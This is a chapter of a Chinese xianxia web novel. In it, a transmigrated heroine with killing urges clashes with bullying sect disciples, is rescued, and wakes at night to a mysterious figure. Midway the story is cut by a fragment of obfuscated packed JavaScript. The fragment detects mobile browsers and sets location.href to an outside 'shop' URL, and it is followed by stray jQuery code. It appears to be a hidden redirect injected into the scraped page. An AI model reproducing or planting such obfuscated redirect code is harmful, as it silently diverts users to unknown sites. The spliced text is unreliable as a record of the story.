柳百词花钱向来是什么贵买什么,即便是素色发带拿在手中掂量也能感觉到它价值不菲。
此刻两条轻盈的碧青色发带缠着她的两髻绑成兔耳样式,长长的一截垂在脑后,随风飞扬,阳光穿透,把一丝一线照得根根分明,把她衬得活像只灵越的小兔子。
应璇听晏晦明这掺着阴气的问话,仰起头来,琥珀色的眼睛掺着不解。
发带飘至眼前,她下意识一触,回味着他的话,倍感烫手,又缩了回来。
系统震惊地“诶”了一声,“你怎么不按我说的做啊宿主!”
“诶……是我思虑不周,”柳百词举手示意,“我瞧师妹发型单调,顺手就帮她戴了戴。”
晏晦明不冷不热地斜他一眼,“你倒是热心。”
柳百词笑得没脸没皮,想再多说几句,晏晦明掠过他,硬生生让他后退几步,睨着应璇说:“还真是个不知事的小哑巴,收得这么乐不思蜀?”
“掌门,我只是顺手给的,真没想那么多——”柳百词敲着脑袋,懊恼地要跟应璇赔罪,晏晦明又恰好挪了一步把他给挡开。
应璇也不知他是吃错什么药了,歪头和柳百词摆了摆手,“没事的,很好看。”
“掌门,如果你没什么事要吩咐的话,我可以和百词师兄去吃饭吗?”她摸住腹部,当真没一点心眼,“我很饿。”
系统重燃斗志,“宿主,快发起共餐邀约啊!”
晏晦明背着光,半张脸都被阴影覆盖,闻言,狭长的眼却黑得更深,嘴唇微微张阖却始终没个后话。
柳百词对他的行事作风也算了解,知道他不说话就是默认。立即上前拽上应璇的手臂,“走走走。”
应璇总觉得后脖发凉,她边走边扭头往回看去,晏晦明的眸子还阴冷地附着在她身上,她咽了咽口水,跑得更快了。
华真宗虽设立了独立的食堂,宽敞气派,每个座位甚至都放置了软垫,但用膳的人却不多。
应璇不免怀疑道:“百词师兄,门内的建筑都是用法术建造的吗?”
“当然不是了,天下几大门派里,我们华真宗的历史最为悠久,几代皇朝改朝换代,但都改不了会送几个天赋异禀的皇子或者皇亲国戚上来,同时每年送上千金万两作为养育之恩的报答。”柳百词信心满满地拍拍胸脯,“就比如说我。”
应璇刚要抬手拍掌附和他几句,几个结伴的弟子就一同走了进来,嗤笑道:“百词师弟,我看你啊就是被那铜钱的臭味给腐蚀了,自己几斤几两还真没把个门,天赋异禀?我看是活在梦里吧哈哈哈。”
他一带头,其余几个人都哄笑起来。
无论如何都摆着张笑脸的柳百词像被戳中的痛处,下颌磨动,眼底已有怒火。
有个弟子往前一步,玩弄似拍拍他的脸,“哟,瞪着我干什么?这么有钱,怎么不来把师兄们的囊袋都填满填满?”
应璇忽觉觉得体内燥热,咔咔扭动了两下脖子,气息不自觉地运到了掌心。
好想杀人……
杀了他,就现在,吸了他身上的恶气……
自从开了杀戒后,脑子里总不由自主地被这些声音给填满,她的手臂已经控制不住地在颤抖,耳边满是他们嬉笑贬低的杂音,像操控的提醒,让应璇晕晕乎乎地冲到了前头。
那弟子见柳百词瞪着他不说话,正要抬手给他点教训,应璇就风似的冲到了前头,他的巴掌高昂在她右前方,只剩一拳之隔。
他上下扫视应璇一眼,不屑道:“我说呢,怎么平日假装辟谷,不来食堂,今天敢来了,原来是和掌门带回来的小乞丐攀上关系了。”
“小师妹?”他嘲笑的语气喊她,“这么勇敢啊,想美救英雄?”
杀了他,应该会增长不少功法吧,应璇垂着眼,杀意像滚动的开水,咕咕顶动着压制的玻璃盖子。
她偏头嫌弃地用手揩了把脸,面色平静地问:“这位师兄,你法术高强吗?”
他被这猝不及防一问愣住,“你问这做什么?”
应璇确实没什么耐心,重复时语气加重,“我问你法术高不高强?”
“那必然是门内数一数二。”
“那我和你比试。”应璇见他怔了,又补充道:“签生死状。”
柳百词见状不对,从后扯应璇的衣袖,“师妹,别——”
几个弟子没对她的话上心,哂笑她,“得了,别以为你是掌门带回来的就能如此嚣张,入门以来,能单挑我的还没出生呢,我可不想折了你,让掌门不快啊。”
“你不敢?”应璇也不知怎么就说出这么挑衅的话来了。
“呵,我看你长得刚刚及笄,今日让着你,你可别不识抬举。”
柳百词对应璇异常的表现惊讶到,拦在前,客客气气赔礼,“华厉师兄,师妹年纪尚小,什么都不懂,今日是我们多有得罪,我代她向你赔不是。”
不想柳百词低声下气,反而激起华厉追究的兴趣,“那可不行,她破例入宗,没经过试炼,就敢跟师兄叫板,我今天确实该教教她宗内的规矩了。”
他一把推开柳百词,居高临下地看着应璇,“还轮不到你来跟我宣告签生死状,我先来试你一试。”
说罢,他抽出剑来直指应璇,那剑锋带着杀气,离应璇的命门仅一寸之隔。
应璇瞳孔倏地放大,身子却僵住,不知动弹。
瞬息,一股困倦袭来,她头脑昏沉地耷拉下去。
华厉见她不躲,笑道:“原是个呆子,吓怕了?”
嘲笑间,应璇转腕运气,掌心翻转,猛然出手,朝着剑心一震,剑柄在华厉手中失控,后滑抵住他的胸口,逼得他脚步滑退,猛地砸到门上吐出一口血。
门廊外,晏晦明眼尾微压,眸子愈发深邃。
“华厉师兄!”那几名弟子不可置信地追上去扶住他,扶他脉搏,只是轻轻一抬手,竟震得他经脉损毁了三成,恨恨地剜应璇一眼,“你竟敢以下犯上,重伤师兄。”
“我等定要禀报掌门和师叔,严加处置你!”
柳百词虽站在一旁,也被这力道震慑,惊愕地问:“小师妹,你怎么有这么大的力气?”
应璇目光涣散,正想上前借华厉的剑补上那致死一刀,柳百词的问话把她拉出来,她怔怔地望着手心,摇着头,无辜得很。
地上的华厉缓过神来,咬牙切齿地指她,“把她抓起来,交给月望师叔,她一定是修了什么邪术。”
几人说着,都一一抽剑朝应璇刺来,应璇头脑清醒了些,万万不能再在此刻伤人,只好奔跑躲避,跳踩到桌上,又从桌子上翻下,他们用剑都又快又准,转瞬,应璇的手臂、腰间和裤脚就被刺破数道。
剑锋擦着她的皮肉,也割出几道血痕。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525400|203465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>冷翘执剑上前,正巧看见这一幕,“掌门,这……”
晏晦明指尖微蜷,按兵不动。
膳堂内,应璇体力不支,被他们围追在角落,三四柄剑指着她,让她无处可逃。
脑海里的想要把他们全部杀掉的念头又在蠢蠢欲动。
柳百词在她身后急得跺脚,又因力不敌众,只能朝外呼救。
听着耳边焦急的呼声,应璇捂住着流血的手臂,若有所思地扫过其中一人的剑,手中蓄力,正要出手。
系统的声音传进她耳中,冷水似将她泼清醒,“宿主,正是英雄救美的好时候,你快上啊!”
她循声看去,一道如游动蛟龙的飞花从门外飞入,五彩各异的花朵汇成涓涓细流,穿过几人的长剑后,鲜花四散,猛然将他们弹开。
柳百词赶忙跑到应璇身侧,把她扶起来,一柄剑从天而降直插在面前的桌面,飞花卷入其中消失,视线往剑后顺延,一女子逆光走进来,飒爽高傲,举手投足间那剑已落到她手里挂回腰间。
怎么是她?应璇仰面,眼中不掩意外。
柳百词叽叽喳喳哭诉,“冷翘师姐!这群人欺人太甚,将小师妹伤成这样——”
冷翘并不理会他的鬼哭狼嚎,径直在应璇面前蹲下,并不温柔地翻看应璇的伤势后,起身作势要走,“把她背回去。”
柳百词听话把应璇背在背上,听话地跟上她,冷翘目不斜视地从华厉身上跨过,柳百词偷笑着一并跨过。
华厉受辱,“冷翘,你信不信我到掌门那参你一本。”
冷翘停步,冷森森地剜他一眼,“他就在门外,你以为谁命我来的。”
华厉气得扔掉手中的剑,猛锤自己的腿,“你们给我等着。”
到底功法还不深厚稳定,应璇流了点血,被柳百词背着,晕乎乎地在他背上睡了过去,期间似听到他们与晏晦明交谈,但也打不起精神抬头看。
再睁眼时,她正躺在自己房间的床上,身上的衣服不知被谁给换掉了,受伤的地方都被包上了纱布。
屋外清月高悬,已是深夜。
进宗门前,她还真没想过门派里的弟子竟都不安分,如此跋扈,没有一点名门正派的样子。
如果不讨好晏晦明,在这宗门之中,又不能杀人,她的功法很难有大幅提升。
应璇气不打一处来,他不是绑定的攻略系统吗?为什么一点要攻略她的动静都没有?
难不成是因为他已是这个世界的大佬,攻略对他来说只是个游戏,闲暇兴起时就玩一玩,忙碌无趣时就搁置。
不像她,如果不杀掉他就无法回到现实世界。
思忖间,余光瞥见一道影子,她惊了一瞬站起身,“谁?”
屏风之后,模糊立着一个身影,长发垂顺,颀长高大,隐约是个男子。
柳百词?
“师兄?”
没反应。
窗隙的风吹进来,把他的头发和袍子吹开,庞大的影子一动不动地矗立着,烛火动摇,他的存在在这深夜里显得诡谲难辨。
晏晦明?
她试探性一喊:“掌门,是你吗?”
应璇摸到一把匕首,轻手轻脚地走近,等屏风一掀,两手举高匕首就盲目往下一刺。
然而刀比脑子的反应快,等她看清了对面的人是谁时,刀尖已快要刺入他的眼睛。